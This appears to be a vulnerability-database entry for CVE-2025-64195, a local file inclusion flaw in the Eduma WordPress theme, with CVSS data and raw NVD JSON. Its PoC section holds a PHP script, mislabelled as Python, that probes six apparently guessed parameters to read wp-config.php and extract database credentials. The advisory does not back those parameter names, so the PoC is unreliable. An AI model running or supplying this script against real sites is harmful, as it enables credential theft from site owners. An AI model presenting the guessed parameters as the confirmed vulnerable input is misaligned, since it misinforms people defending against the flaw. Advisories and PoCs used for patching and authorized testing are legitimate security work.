Security Vulnerability Report
中文
CVE-2025-64195 CVSS 7.5 HIGH

CVE-2025-64195

Published: 2025-10-29 09:15:39
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThimPress Eduma eduma allows PHP Local File Inclusion.This issue affects Eduma: from n/a through <= 5.7.6.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ThimPress Eduma <= 5.7.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-64195 PoC - Eduma Theme Local File Inclusion * Target: ThimPress Eduma WordPress Theme <= 5.7.6 * Vulnerability: Improper Control of Filename for Include/Require Statement * * Usage: Modify the target URL and run with PHP CLI */ $target = 'http://target-site.com'; $target_path = '/wp-content/themes/eduma'; // Common vulnerable parameters $vulnerable_params = [ 'eduma_customizer', 'page_template', 'theme_page', 'lp_load_theme', 'thim_core', 'eduma_import' ]; // Target file to read (wp-config.php) $target_file = '../wp-config.php'; $encoded_file = urlencode($target_file); echo "[*] CVE-2025-64195 PoC - Eduma LFI\n"; echo "[*] Target: {$target}\n\n"; foreach ($vulnerable_params as $param) { $url = "{$target}{$target_path}/?{$param}={$encoded_file}"; echo "[+] Testing: {$param}\n"; echo " URL: {$url}\n"; $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => 10, 'ignore_errors' => true ] ]); $response = @file_get_contents($url, false, $context); if ($response && strpos($response, 'DB_NAME') !== false) { echo "[+] VULNERABLE! Found wp-config.php content\n"; // Extract database credentials preg_match_all("/define\s*\(\s*['\"](\w+)['\"][^)]+\)/", $response, $matches); print_r($matches[0]); break; } } echo "\n[*] Testing complete.\n"; echo "[*] Note: This PoC is for authorized security testing only.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64195", "sourceIdentifier": "[email protected]", "published": "2025-10-29T09:15:38.793", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThimPress Eduma eduma allows PHP Local File Inclusion.This issue affects Eduma: from n/a through <= 5.7.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/eduma/vulnerability/wordpress-eduma-theme-5-7-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}